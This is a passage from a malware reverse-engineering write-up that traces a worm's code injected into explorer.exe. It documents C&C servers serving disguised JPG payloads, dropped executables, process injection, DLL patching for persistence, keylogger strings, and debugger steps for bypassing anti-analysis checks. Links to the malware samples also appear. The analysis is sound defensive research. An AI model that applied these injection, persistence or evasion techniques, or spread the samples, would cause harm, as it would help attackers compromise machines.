One of the arguments to the CreateThread() call is a pointer to the previously injected code. Set a breakpoint at that pointer (00DC1AA0 in my example). Execute the CreateThread() call and continue to step (it will eventually return and leave the injected code, and starts running code in kernel32. Continue to setp until you reach the point where you can see a call to that function (when ntdll.ZwContinue is called at 7C90E45A – so make sure to set the breakpoint to xxxx1AA0 before seeing that call)
(If you are not able to reproduce this, you can also replace the call to CreateThread() with a call to xxxx1AA0)
(Click assemble and close the popup)
Step into that call (F7) & proceed the analysis.
Anyways, at xxxx1AA0, we see this function :
Function xxxx400A gets called. In that function, LocalAlloc() allocates 0x1D0 bytes (with flags LPTR), returning 001129D0 (or something similar) in eax.
Then function xxxx5B20 is called, where 88 dwords are copied to 00112A40 :
and then the function returns to xxxx4061. EAX is set to 00112A40 and function xxxx3A69 is called.
In that function, we see an iteration (counter in ESI) :
The iteration makes a call to xxxx5B20. Next function xxxx39E6 gets called, and then function xxxx5B20 gets called again. When the loop in xxxx5B20 ends, data at pnen3260’s DS (xxxx2A40) has been changed (decoded) (just pay attention to the value of EDI in the REP instruction and you’ll see where it gets written to in your case)
We see a few interesting things/strings :
- kernel32.dll
- %APPDATA%\Tencent\ (a folder we might want to keep an eye one)
- Accept */* (part of a http request header ?)
- _!RKU#PNP#090921!_ (not sure what this is atm)
- http://
- Software\RealOne
- RVClass
- htmlfile\shell\open\command
- wininet.dll (functions from this module can be used to access the internet, using the browser’s proxy server settings)
- .7z
- dnsapi.dll
- %s%s (looks like something needs to be concatenated ?)
- iphlpapi.dll
- Plugin2a.Section
- Class
- mswsock.dll
- Section.SessionAcl.%d
- ws2_32.dll
- *.*
- .exe
- %ProgramFiles%\Real
- ra32clv.dll
- sipr3260.dll
- pngu3267.dll
- shlwapi.dll
- user32.dll
- DialogBoxParamW (interesting function – not sure why malware would need it… unless it wants to hook it & use it to get code to execute)
Then, the function returns and continues execution at xxxx4074.
Between xxxx4089 and xxxx4A0D, we see another iteration. (counter in ebx, compared with ESI (0x160 or 352 decimal, which is the number of bytes that were decoded prior to running this routine)). This iteration seems to enumerate all strings in the array that was created earlier (00112A40).
We can clearly see ECX pointing at "kernel32.dll", "%APPDATA%\Tencent\", "Accept: */*", and so on.
Each time a string is found (each time a null byte is found), the pointer to that particular string is written to [EDX+EAX]. EAX points at a location just above the strings and EDX is obviously used as an offset :
At the start of the loop, there’s CMP EDX,70. EDX is only incremented when a string has been retrieved.
When all pointers have been written, the function returns to xxxx1AC0, where TEST EAX,EAX is used to determine whether a jump has to be made to xxxx1B2C or not. That would result in ending the function, but since EAX = 1, the jump is not taken. The reason I mention this is because anti-debugger techniques often use test eax,eax to verify the output of a call earlier and break the flow based on the outcome.
Anyways, the code continues and sets up a call to ADVAPI32.InitializeSecurityDescriptor. Parameter pSecDescr points at xxxxB560 (in pnen3260.dll) so let’s put a breakpoint on that address (just in case – it doesn’t contain anything at this point). ECX still points at the last string in the array ("DialogBoxParamW"). After the call is executed, ECX is set to xxxxB560.
Next, a call to ADVAPI32.SetSecurityDescriptorDacl is executed (pointing at xxxxB560). When this call returns, xxxxB560 contains 04000000.
Function xxxx2DA2 is now called, retrieving pointer to string "_!RKU#PNP#090921!_", followed by a call to CreateMutexA
The parameters to this call are
- pSecurity : pointer to xxxxB550 (which contains 0xC)
- InitialOwner : FALSE
- MutexName : "_!RKU#PNP#090921!_"
That makes sense – it’s quite normal for malware to check if it’s already running or not, and the use of a Mutex facilitates this well. When the call returns, EAX contains a value (518 in my case), which gets stored on the stack [EBP-8]
RtlGetLastWin32Error returns 0, so a jmp is made to xxxx1B30. In that function, a LocalAlloc() call used to allocate memory, and a pointer to the allocated space is returned in eax. (00142CB0 in my example, which gets written to pnen3260 DS xxxxB444)
Then, a pointer to the begin of pnen3260.dll is written to 00142CB4, and function xxxx3DDF is called, which calls xxxx3D90. In that function, SLDT and the function returns. Next, function xxxx3DEC is called, which calls xxxx3DA7, and returns.
Function xxxx3D37 is then called, which calls xxxx5F00. In that routine, an exception handler is put in place (pointing to xxxx5F54)… and guess what… at xxxx3D5F, an exception is triggered.
(We have seen the use of SEH to redirect flow before). With a breakpoint set at xxxx5F54, pass the exception to the application (Shift F9), which will trigger the bp at the SE Handler to be hit.
In one of the called child functions (xxxx6996), the linear address of TIB is grabbed and put in EAX (MOV EAX, DWORD PTR FS:[18] – at xxxx69AF).
In one of the called child functions, a VirtualQuery is executed, with the following arguments :
00E7F670 00DC9318 “Ü. |Address = pnen3260.00DC9318 00E7F674 00E7F688 ˆöç. |Buffer = 00E7F688 00E7F678 0000001C ... \BufSize = 1C (28.)
The buffer points at "PE" in pnen3260.dll (which indicates the start of the PE header of the module)
Then a few calls to kernel32.InterlockedExchange() are performed (at 00DC6AC7) :
00E7F674 00DCB4B0 °´Ü. |pTarget = pnen3260.00DCB4B0 00E7F678 00000001 ... \NewValue = 1
(result of this call : 0x01 : written to xxxxB4B0)
at 00DC6B2C :
00E7F674 00DCB4B0 °´Ü. |pTarget = pnen3260.00DCB4B0 00E7F678 00000000 .... \NewValue = 0
(after this call, xxxxB4B0 is set to 0 again)
A few routines later, at xxxx68BB, a call to RtlUnwind is being made, with the following parameters :
00E7F688 00E7FAB0 °úç. |pRegistrationFrame = 00E7FAB0 00E7F68C 00DC68C0 ÀhÜ. |ReturnAddr = pnen3260.00DC68C0 00E7F690 00000000 .... |pExcptRec = NULL 00E7F694 00000000 .... \_eax_value = 0
Then, a new SE record is created (in function xxxx68EA), pointing at 00DC68C8, and it gets removed again :
A number of calls later (at xxxx3CE5), another exception is generated (Unknown command)
Another anti-debugging trick ? Things were still making sense up to the point where the VirtualQuery and InterlockedExchange calls were made…
I still wanted to see what happens if we try to continue, so I replaced the "Unkown command" with 2 nops and continued to step through the instructions. A few instructions below, and access violation gets triggered, which brings us back to the base of the injected code… Okay, let’s run the routine again
Injected code – run 2
In this run, kernel32.CreateMutexA is called (again), followed by RtlGetLastWin32Error (just like in the previous run). A custom SE Handler record is created (pointing to function xxxx5F54) and an exception is triggered.
This time, the VirtualQuery / InterlockedExchange calls are not executed… but we still end up executing the code at xxxx3CD3 (which had the "Unkown command" (now replaced with 2 nops)… and we end up triggering an access violation again. This means that the VirtualQuery() and InterlockedExchange() calls are not really relevant, but at the same time, it seems I am running around in circles too.
Injected code – headache
Maybe we should quit staring at the debugger, and focus on the behavior after explorer.exe was injected/infected.
If we look back at the procmon report, we can see that pnen3260.dll gets loaded. We already documented how/where that happened. We can also see that a new thread is created. (Full analysis of the thread has not been completed yet).
Then, a couple of image files are downloaded.. and shortly after, a bunch of executables are written to C:\Documents and Settings\
We also noticed iexplore.exe being launched (iexplore.exe -nohome) :
And that process appears to be making network connections :
Shortly after (as you will see in the next chapters), some other network connections are made too (scanning local network etc)
So perhaps we need to look at the images / executables at this point, and see if there is a link between these executables and that network traffic.
Finally, we need to figure out how the box will be infected permanently. Maybe this is done from within explorer.exe or iexplore.exe… or perhaps one or more of the executables will take care of it. We’ll see.
Before moving forward, let’s feed l.exe to http://cloud.iobit.com/.. Guess what, iobit says it’s safe :
Looks like the latest cloud computing technology and heuristics analyzing mechanism got a headache too :)
December 2nd, 2010 21:45:30 GMT+1 – stage 5 – images & executables
About 2 minutes after the box was rooted and it started scanning other hosts, we also noticed traffic towards port 80 and 443, targetting various public hosts. (Similar to what you saw in the netstat output a while ago). Could be a "phone home" operation.
As expected, malware doesn’t just root a box to spread and root other boxes. That would be pointless. There must be added value, more logic so the box can be used for other purposes (botnet ? key logger ? etc etc). We know we missed some pieces in the analysis earlier, and it looks like those are the components responsible for that extra "intelligence" and "functionality".
From this point forward, we’ll try to figure out what the purpose of the malware is by looking at its behavior.
- Procmon reports the creation of threads, spawns executables and executes them.
- A packet capture shows various types of traffic
- scans to other hosts on the same network and on the same public IP range, to port 139 and 445
- connects to public host on port 80 and 443
Let’s start with the images.
When looking at the packet capture, at the time explorer gets injected and code is executed, we see a http GET request for /sasearch/balloon.xsl, followed by a request for /sasearch/lclsrch.xml. While both files seem harmless at first sight, they are known to be associated with malware.
Then it looks like the infected process connects to the "home" or "C&C" machine (or whatever you want to call it), and downloads some files :
Downloaded Files http://173.244.193.146/DAY/ALL.JPG?1031 (*.Y9A.INFO) http://173.244.193.148/a/0.jpg (do.v7x.info) http://173.244.193.148/a/1.jpg (do.v7x.info) http://173.244.193.148/a/2.jpg (do.v7x.info) http://173.244.193.148/a/3.jpg (do.v7x.info) http://173.244.193.148/a/4.jpg (do.v7x.info) http://173.244.193.148/a/5.jpg (do.v7x.info) http://173.244.193.148/a/6.jpg (do.v7x.info) http://173.244.193.148/a/7.jpg (do.v7x.info) http://173.244.193.148/a/8.jpg (do.v7x.info) http://173.244.193.148/a/9.jpg (do.v7x.info) http://173.244.193.148/a/10.jpg (do.v7x.info) http://173.244.193.148/a/11.jpg (do.v7x.info) http://173.244.193.148/b/1.jpg (do.v7x.info) http://173.244.193.148/b/2.jpg (do.v7x.info) http://173.244.193.148/b/3.jpg (do.v7x.info) http://173.244.193.148/b/4.jpg (do.v7x.info) http://173.244.193.148/b/5.jpg (do.v7x.info) http://173.244.193.148/b/6.jpg (do.v7x.info) http://173.244.193.146/adv/adv.dll (p.newfreeeye.info)
(you can replace the IP in this output with the IP you are seeing on your own machine if you are doing the analysis as well, or the IP from the netstat output above – which is my test box)… Either way, it looks like there are a bunch of C&C servers and they all contain the same files (jpg ?)
There are 18 jpg files – remember that number.
Note : as of mid january, the C&C server doesn’t seem to be online anymore. You can, however, get a copy of the images here : (http://redmine.corelan.be:8800/projects/corelan-public/files – The Honeypot Incident – images.zip), set up your own webserver at the IP address listed above, host the files yourself, and simulate the downloads.
While all jpg files are different in size, they still look very similar :
(and those are not the only jpg files on that server – try downloading 7.jpg, 8.jpg and so on)
Even the dll (when renamed to jpg) shows an image :
Immediately after the jpg files are downloaded, explorer.exe starts spitting out & running executables.
"Tencent" executables
Procmon indicates that the infected Explorer.exe process generates/spawns and executes 18 executables under C:\Documents and Settings\
We have not been able to complete the analysis of the injected code into explorer.exe, but we have noticed that it also spawned iexplore.exe -nohome, and that this process is the one responsible for connecting to the C&C server and downloading images. (Microsoft Listdll shows that this iexplorer.exe process also has pnen3260.dll loaded.) It’s very likely that the images contain some additional data which is extracted and used by the infected explorer.exe, to build and execute the executables. Again, this is just an assumption which is good enough for now.
As stated earlier, the C&C server has been taken down, but we have made the executables available for download here : (http://redmine.corelan.be:8800/projects/corelan-public/files – The Honeypot Incident – tencent_executables.zip)
After each executable file has run, it gets deleted again.
The following files are being created :
~DF2D.exe :
According to the timeline and file creation timestamp, this is the first file being created & executed.
In this executable, some strings are decoded in memory (localalloc) :
001436E4 50 6C 75 67 69 6E 32 61 Plugin2a
001436F4 2E 53 65 63 74 69 6F 6E 00 25 53 79 73 74 65 6D .Section.%System
00143704 52 6F 6F 74 25 5C 73 79 73 74 65 6D 33 32 5C 00 Root%\system32\.
00143714 6D 73 77 73 6F 63 6B 00 64 69 76 78 64 65 63 00 mswsock.divxdec.
00143724 2E 64 6C 6C 00 6F 6C 65 61 64 70 00 53 46 43 5F .dll.oleadp.SFC_
00143734 4F 53 2E 44 4C 4C 00 00 00 00 00 00 00 00 00 00 OS.DLL..........
c:\windows\system32\mswsock.dll - c:\windows\system32\divxdec.dll
Then a handle to mswsock.dll is retrieved (CreateFileA), so the filesize can be determined, used as Size parameter in a VirtualAlloc call. Following the VirtualAlloc (which returned a pointer to 00350000), the dll file is read and written to the newly allocated heap. (ReadFile, using the handle to the file as source).
More payload is generated (copied from the exe file, and copied to another new heap at 00390000), and then file c:\windows\system32\divxdec.dll is created, by using 0x4C00 bytes from 00390000)
Then 0x00390000 is freed and a call to AdjustTokenPrivilege is called
0012FCD8 00000024 $... |hToken = 00000024 0012FCDC 00000000 .... |DisableAllPrivileges = FALSE 0012FCE0 0012FCFC üü. |pNewState = 0012FCFC 0012FCE4 00000000 .... |PrevStateSize = 0 0012FCE8 00000000 .... |pPrevState = NULL 0012FCEC 00000000 .... \pRetLen = NULL
mswsock.dll gets copied to a new tmp file :
0012FBC8 0012FD20 ý. |ExistingFileName = "C:\WINDOWS\system32\mswsock.dll" 0012FBCC 0012FC04 ü. |NewFileName = "C:\DOCUME~1\corelan\LOCALS~1\Temp\8.tmp" 0012FBD0 00000000 .... \FailIfExists = FALSE
SFC_OS.dll gets loaded and a function (ProcOrdinal 5) gets called.
The computer name is retrieved, RpcStringBindingComposeW() and RpcBindingFromStringBindingW() are called (ncacn_np:\\\\.[\\PIPE\\SfcApi])
Next, the tmp file (8.tmp in this example – which is a copy of mswsock.dll) is opened again, and read into a new allocated heap block (003C0000). Then, the code in heap gets patched, and written to the tmp file again. This routine is followed by a move of the original mswsock.dll file to a new tmp file (MoveFileA) :
0012FAB8 0012FD20 ý. |ExistingName = "C:\WINDOWS\system32\mswsock.dll" 0012FABC 0012FAC8 Èú. |NewName = "C:\DOCUME~1\corelan\LOCALS~1\Temp\9.tmp" 0012FAC0 00000001 ... \Flags = REPLACE_EXISTING
MD5 of the file before and after the move :
C:\WINDOWS\system32>md5sum mswsock.dll 832e4dd8964ab7acc880b2837cb1ed20 *mswsock.dll C:\WINDOWS\system32>md5sum mswsock.dll f7fe96adae155e1c8a3ffb96adb1bb1f *mswsock.dll
Followed by MoveFileExA :
0012FAB8 0012FAC8 Èú. |ExistingName = "C:\DOCUME~1\corelan\LOCALS~1\Temp\9.tmp"
0012FABC 00000000 .... |NewName = NULL
0012FAC0 00000004 ... \Flags = DELAY_UNTIL_REBOOT
Flags : delay_until_reboot
Finally, the 8.tmp file gets deleted.
Turbodiff shows the following differences :
A graphical comparison of the DllEntryPoint shows this :
(Patched version is on the left)
This *may* be a first step in proving that the malware will permanently infect the computer (by patching mswsock.dll in this case).
Next, the following function is called :
A snapshot of the current process is made. This will contain a list with all running processes. Then divxdec.dll gets loaded at 0x10000000, and using GetProcAddress(), an address to a function (10001E20) is retrieved.
Then an iteration is started (Process32First & Process32Next) to enumerate processes.
In that loop, the function (10001E20) gets called (CALL ESI). In that function, we see a call to OpenProcess(). So in essence, the iteration is used to enumerate / getting a window handle of the processes on the machine.
Similar to many of the functions in kernel32, OpenProcess() is just a wrapper around a function exported in ntdll.dll (ZwOpenProcess in this case). The function parameters to ZwOpenProcess are
NTSTATUS ZwOpenProcess( __out PHANDLE ProcessHandle, __in ACCESS_MASK DesiredAccess, __in POBJECT_ATTRIBUTES ObjectAttributes, __in_opt PCLIENT_ID ClientId );
0012FB88 0012FBCC Ìû. |Arg1 = 0012FBCC ;ProcessHandle 0012FB8C 001F0FFF ÿ. |Arg2 = 001F0FFF ;DesiredAccess 0012FB90 0012FB9C œû. |Arg3 = 0012FB9C ;ObjectAttributes 0012FB94 0012FBB4 ´û. \Arg4 = 0012FBB4 ;ClientID
In the second run of the iteration, a routine at 10001D50 is called :
At first sight, it looks like it’s going to inject new code into a process (WriteProcessMemory() + CreateRemoteThread()).
Before doing that, the code allocates some memory to the remote process (handle 0x80) and then calls GetModuleFileNameA() on hModule 10000000, with pathbuffer 0012EDCC (size 0x104). This returns string "c:\windows\system32\divxdec.dll", which gets written it to 0012EDCC.
Then, the WriteProcessMemory() call is executed, using the following parameters (so it will write 1024 bytes from 0012EBC0 to the remote process, at 0004000)
0012EB9C 00000080 €... |hProcess = 00000080 (window) 0012EBA0 00040000 ... |Address = 40000 0012EBA4 0012EBC0 Àë. |Buffer = 0012EBC0 0012EBA8 00000400 ... |BytesToWrite = 400 (1024.) 0012EBAC 0012EBBC ¼ë. \pBytesWritten = 0012EBBC
After the injection, calc.exe gets executed, which eventually removes ~DF2D.exe again.
This file did not seem to generate network traffic. Let’s move on to the next file.
~DF3A.exe
Behavioural based analysis of this file (executed on a fresh system, as if it was the only file / a standalone executable), didn’t reveal anything useful. If your analysis is purely based on behaviour analysis, then this file would most likely get flagged as "harmless".
That is not the case as you will find out in a few moments.
In fact, it looks like the files should be analysed after running the required preceeding files. Alternatively, we can try to locate the routine, responsible for performing certain checks inside the binary, and see if we can simply bypass them. This may not work either (because in certain cases, the context will be important. Maybe data injected into another process has to be available, maybe not.)
Anyways, if you feed this file into a malware behaviour analysis tool, you’ll see that it reads some files and registry keys, and finally injects a cleanup routine into calc.exe, which removes DF3A.exe.
We will dive deeper and do some manual analysis as well to verify that this file is (or is not) "harmless".
When looking at the routines in the file, we observe the following things :
– Pointers to a few strings are generated
– A call to OpenFileMappingA is performed, taking the following parameters :
0012FCDC 00000004 ... |Access = FILE_MAP_READ
0012FCE0 00000000 .... |InheritHandle = FALSE
0012FCE4 00142D20 -. \MappingName = "Plugin2a.Section"
When this call is executed, eax is set to 0, so the code continues. (Interestingly enough, EAX is first moved to EDI and then TEST EDI,EDI is executed. Maybe the author wanted to try to hide "TEST EAX,EAX" from analysis tools?)
Then, EDI is copied to ESP+18, and a jump is made to 004016B6, where a call is made to 00401360. Below the call, we see some INT3 instructions, so when the call will return, the code will probably halt.
Something tells me we should avoid this jump & call, and simply skip over it.
Let’s execute the code anyway.
First, some stuff is copied onto the stack, and then GetModuleFileNameA() is called
0012E99C 00000000 .... |hModule = NULL 0012E9A0 0012F0EC ìð. |PathBuffer = 0012F0EC 0012E9A4 00000104 .. \BufSize = 104 (260.)
Then, GetStartupInfoA() is called (argument pStartupInfo set to 0012E9C8).
Next, a new process (calc.exe) is created
0012E980 00000000 .... |ModuleFileName = NULL
0012E984 004020C4 Ä @. |CommandLine = "calc"
0012E988 00000000 .... |pProcessSecurity = NULL
0012E98C 00000000 .... |pThreadSecurity = NULL
0012E990 00000000 .... |InheritHandles = FALSE
0012E994 00000004 ... |CreationFlags = CREATE_SUSPENDED
0012E998 00000000 .... |pEnvironment = NULL
0012E99C 00000000 .... |CurrentDir = NULL
0012E9A0 0012E9C8 Èé. |pStartupInfo = 0012E9C8
0012E9A4 0012E9B4 ´é. \pProcessInfo = 0012E9B4
As expected, the process is then injected with some custom code (used to clean up DF3A.exe) and the process dies.
So – it looks like the instructions directly after OpenFileMappingA() ( = the jump) should be avoided.
Let’s restart & skip over the jump.
004014F0 |> 50 PUSH EAX ; /MappingName 004014F1 |. 6A 00 PUSH 0 ; |InheritHandle = FALSE 004014F3 |. 6A 04 PUSH 4 ; |Access = FILE_MAP_READ 004014F5 |. FF15 08204000 CALL DWORD PTR DS:[<&KERNEL32.OpenFileMa>; \OpenFileMappingA 004014FB |. 8BF8 MOV EDI,EAX 004014FD |. 85FF TEST EDI,EDI 004014FF |. 897C24 18 MOV DWORD PTR SS:[ESP+18],EDI 00401503 |. 0F84 AD010000 JE ~DF3A.004016B6 ; *** <= We should skip this jump 00401509 |. 6A 00 PUSH 0 ; /MapSize = 0 0040150B |. 6A 00 PUSH 0 ; |OffsetLow = 0 0040150D |. 6A 00 PUSH 0 ; |OffsetHigh = 0 0040150F |. 6A 04 PUSH 4 ; |AccessMode = FILE_MAP_READ 00401511 |. 57 PUSH EDI ; |hMapObject 00401512 |. FF15 0C204000 CALL DWORD PTR DS:[<&KERNEL32.MapViewOfF>; \MapViewOfFile 00401518 |. 85C0 TEST EAX,EAX 0040151A |. 894424 14 MOV DWORD PTR SS:[ESP+14],EAX 0040151E |. 0F84 8B010000 JE ~DF3A.004016AF 00401524 |. 8B15 90314000 MOV EDX,DWORD PTR DS:[403190] 0040152A |. 68 80000000 PUSH 80 0040152F |. 52 PUSH EDX 00401530 |. FFD5 CALL EBP
Edit the instruction at 00401503 and change it to 6 NOPs or alternatively, you can also change the condition (by changing the instruction to JNZ)
Next, ViewMapOfFile() is called, followed by a similar routine to check the outcome of the function, followed by a jump to 004016AF, which will first close a handle, and then jumps to the routine that will create the calc.exe process. So again, this jump needs to be avoided (and we’ll simply change that jump too)
After skipping the jump, a call is made to IsBadReadPtr (call EBP), followed by a third test eax,eax + conditional jump routine). That jump will actually jump to 0040153A, which is a few instructions lower (still above the LoadLibrary()), so we won’t bother changing that one.
Next, LoadLibrary() will load user32.dll, putting its base address in eax
Another call to IsBadReadPtr is made (call EBP at 0040155F) and a short jump to 00401569 is made. That’s fine at this point. Then, GetProcAddress() is called, with the following parameters :
0012FCE0 7E410000 ..A~ |hModule = 7E410000 (user32) 0012FCE4 00142F95 •/. \ProcNameOrOrdinal
This returns a pointer to user32.IsWindow in eax (7E429313).
Next, GetProcAddress() is called (CALL EDI at 0040159E), trying to locate the function pointer to SendMessageA()
0012FCE0 7E410000 ..A~ user32.7E410000
0012FCE4 00142F9E ž/. ASCII "SendMessageA"
A few instructions below, we see
004015B6 |. 8B02 MOV EAX,DWORD PTR DS:[EDX]
This instructions creates an access violation (reading [00000000]). EDX was set to [ESP+14] above that instruction, so in order to overcome this issue, we’ll have to set ESP+14 to something useful at this point, or we’ll simply skip some pieces.
Looking at the instructions below the current one, we can see ExpandEnvironmentStringsA(), GetFileAttributesA(), CreateDirectoryA()… and that looks promising.
So – instead of fixing the instruction, we’ll simply skip over a bunch of instructions and jump directly to 004015DF. Simply select all instructions (including the current one, which is creating an access violation), up to 004015DF, and replace them with nops.
Continue the execution. The first thing we’ll see is the conversion from "%Program Files%\Complus Applications\" to "C:\Program Files\Complus Applications\" (using ExpandEnvironmentStringsA). Next, if the folder does not exist (check is performed using GetFileAttributesA), it gets created (CreateDirectoryA)
Then, user32.SendMessageA() is called (CALL ESI at 00401629). This call will result in triggering an acces violation, so this call should be nop’ed out (as well as the instructions below the call, up to (and including) 00401632.
Next, string "c:\Program Files\ComPlus Applications\mssoap2.dll" is created (using lstrcatA), and a call is made to 00401220, where
- call is made to FindResourceA (looking for ResourceType "BL"), returning pointer 00404048
- size of resource is retrieved (0x6800)
- LoadResource is called (hResource set to 00404048)
- SetHandleCount is called (nHandles set to 00404060)
- VirtualAlloc is called, with the following parameters :
- 0012FC90 00000000 …. |Address = NULL
0012FC94 00006800 .h.. |Size = 6800 (26624.)0012FC98 00001000 … |AllocationType = MEM_COMMIT
0012FC9C 00000004 … \Protect = PAGE_READWRITE
- (memory gets allocated at 00380000)
- 0012FC90 00000000 …. |Address = NULL
- 0x1A00 bytes are copied from 00404060 to 00380000
then 00401100 is called, taking 3 arguments :
0012FC94 0012FCB8 ¸ü. |Arg1 = 0012FCB8 0012FC98 00380000 ..8. |Arg2 = 00380000 0012FC9C 00006800 .h.. \Arg3 = 00006800
In that function, the bytes that were copied to 00380000 earlier, get decoded and converted to what seems to be a PE format :
When that function has returned, file c:\Program Files\ComPlus Applications\mssoap2.dll is created, and 0x6800 bytes from 00380000 are written to the file, as explained below :
In the CreateFileA call, I noticed that the pointer to the Filename appears to be off a few bytes (maybe because we skipped a few routines along the road.
I manually adjusted the pointer to 0012FD10 so it would point at the correct filename :
The CreateFileA() call returns a handle to the file (0x38)
The WriteFileA() call uses the following parameters :
0012FC8C 00000038 8... |hFile = 00000038 (window) 0012FC90 00380000 ..8. |Buffer = 00380000 0012FC94 00006800 .h.. |nBytesToWrite = 6800 (26624.) 0012FC98 0012FCB0 °ü. |pBytesWritten = 0012FCB0 0012FC9C 00000000 .... \pOverlapped = NULL
Then the handle is closed, memory at 0x00380000 is released and the resource is freed as well. After that, the function ends.
Although this routine appears quite simple, it also has proven to be quiet effective against behavioural analysis. If the file is analysed outside the infection chain or context, it appears to be harmless. When looking at it inside the debugger and manually bypassing some of the "tricks" inside the binary, things start to make more sense. I expect the other files not to be any different / to use similar tricks.
Next, handles are closed, and function 00401360 is called, creating "calc.exe", injecting code into the process, and closing DF3A.exe. The injected code in calc.exe removes df3a.exe, and terminates calc.exe as well.
mssoap2.dll file info :
File: mssoap2.dll MD5: 86715a739a415be5a20148999015a0c7 Size: 26624 Ascii Strings: --------------------------------------------------------------------------- !This program cannot be run in DOS mode. memcpy memset memcmp sprintf strstr printf fclose fprintf fopen _except_handler3 atoi MSVCRT.dll free _initterm malloc _adjust_fdiv GetClassNameA IsWindowVisible ReleaseDC GetDC EnumChildWindows GetWindowTextA GetAsyncKeyState GetKeyState GetWindowThreadProcessId GetForegroundWindow SendMessageA EnumWindows SetWindowsHookExW GetMessageW USER32.dll GetModuleFileNameExA EnumProcessModules PSAPI.DLL GetPixel GDI32.dll GetAdaptersInfo iphlpapi.dll RegCreateKeyExA RegCloseKey RegSetValueExA RegQueryValueExA RegOpenKeyExA ADVAPI32.dll CloseHandle VirtualFree ReadFile VirtualAlloc GetFileSize CreateFileA QueueUserAPC lstrcpyA GetTempFileNameA GetTempPathA lstrcmpiA IsDBCSLeadByte SetEvent IsBadWritePtr IsBadReadPtr GetModuleHandleA GetCurrentProcessId WaitForSingleObject ExitProcess lstrlenA GetTickCount CreateEventA GetVersionExA GetLastError CreateMutexA CreateRemoteThread WriteProcessMemory VirtualAllocEx OpenProcess GetModuleFileNameA LoadLibraryA OpenMutexA HeapFree HeapAlloc GetProcessHeap lstrcpynA DeleteFileA CreateThread SleepEx DisableThreadLibraryCalls SetLastError VirtualProtect FlushInstructionCache GetCurrentProcess MultiByteToWideChar KERNEL32.dll GdipAlloc GdipDisposeImage GdipSaveImageToFile GdipCreateBitmapFromHBITMAP GdipGetImageEncodersSize GdipGetImageEncoders GdiplusShutdown GdiplusStartup GdipFree GdipCloneImage gdiplus.dll wcscmp _strupr GetWindowRect GetWindowDC DeleteDC DeleteObject BitBlt SelectObject CreateCompatibleBitmap CreateCompatibleDC PMV2_DataCollector.dll EC#$ OPWindowClass Software\FlashFXP )!@#$%^&*( \Shotsnap%u.jpg PMV2CollectAPCThread ################################################### [BACK] [MK] [End] [Home] [Enter] [Tab] PluginCallbackProc ... \log%u.txt InitializePlugin. %s:%u imagehlp.dll ImagehlpApiVersionEx SymInitialize SymSetOptions SymGetOptions SymLoadModule SymGetModuleInfo SymGetSymFromName BindImage .detour Unicode Strings: --------------------------------------------------------------------------- jjjj image/jpeg
Let’s keep an eye on this one. Also – see the last string in the file ? .detour ? We might also expect to see some API hooking after all.
~DF3E.exe
We already know that using automated tools does not always produce reliable results. In order to analyse DF3E, I’ll run DF2D and DF3A first (no debugger attached), to make sure all possble requirements are met (files in place, registry keys in place, etc) and then I’ll run DF3E through the debugger.
Looking at the first few instructions in the main function, we can see something very similar to DF3A :
We’ll simply take the same steps as the ones we performed when analysing DF3A. Basically, execute all instructions until the conditional jump at 00401503, and change the condition. (change the instruction from JE to JNE). We’ll need to do the same at 0x0040151E. If we continue to execute instructions after changing the jumps, the code will
- load user32.dll
- find function pointer to user32.IsWindow
- find function pointer to user32.SendMessageA
Then at 004015B6, we change all instructions up to 004015BD to nops. This will avoid an access violation.
Next, folder C:\Program Files\ComPlus Applications is created (if it does not exist yet). At this point, everything looks exactly the same as in DF3A.
Next, xPlayer.dll is created in that folder, and the function returns. (MD5 of the file : 51248C419736FDBEE43B4ECB64FBEFF8)
NOP out the instruction at 0x0040167A (to avoid an Access violation).
Finally, a new process (calc.exe) is created, injected with the cleanup routine, and the application exits.
File info :
File: XPlayer.dll MD5: 51248c419736fdbee43b4ecb64fbeff8 Size: 11264 Ascii Strings: --------------------------------------------------------------------------- !This program cannot be run in DOS mode. a"u2W\Device\NamedPipe\browser \Device\NamedPipe\srvsvc ZwQueryInformationFile ZwDuplicateObject ZwQuerySystemInformation ZwQueryObject ntdll lanmanserver lanmanworkstation Browser %u.%u.%u.%u $_Money_$ __PHO&COM__ %Systemroot%\system32\rundll32.exe "%s",CPlApplet %s SeDebugPrivilege !#Exp%d#! value Instance \\%s 4b324fc8-1670-01d3-1278-5a47bf6ee188 \\%s\pipe\browser \\%s\pipe strstr sprintf memcpy atoi _itoa MSVCRT.dll free _initterm malloc _adjust_fdiv DefWindowProcA SetTimer PostQuitMessage DispatchMessageA TranslateMessage GetMessageA ShowWindow CreateWindowExA RegisterClassExA USER32.dll AdjustTokenPrivileges LookupPrivilegeValueA OpenProcessToken QueryServiceStatusEx CloseServiceHandle OpenServiceA OpenSCManagerA ADVAPI32.dll GetAdaptersInfo iphlpapi.dll WNetCancelConnectionA WNetAddConnection2A MPR.dll UuidToStringA UuidFromStringA RPCRT4.dll WS2_32.dll WideCharToMultiByte VirtualFree CloseHandle TerminateThread WaitForSingleObject CreateThread GetProcAddress GetModuleHandleA VirtualAlloc GetCurrentProcess CreateRemoteThread OpenProcess Sleep GetTickCount ReleaseSemaphore CreateSemaphoreA HeapFree HeapAlloc GetProcessHeap ExitThread UnmapViewOfFile MapViewOfFile GetExitCodeThread ExitProcess GetLastError CreateMutexA OpenFileMappingA CreateProcessA ExpandEnvironmentStringsA GetModuleFileNameA GetStartupInfoA CreateFileMappingA GetCurrentProcessId GetExitCodeProcess lstrcpyA DisableThreadLibraryCalls TransactNamedPipe lstrcatA CreateFileA lstrlenA KERNEL32.dll PMV2_08067.dll CPlApplet
~DF4A.exe
Again, the same techniques (as the ones documented in previous files) are used. This time, file regutils.dll is created.
File info :
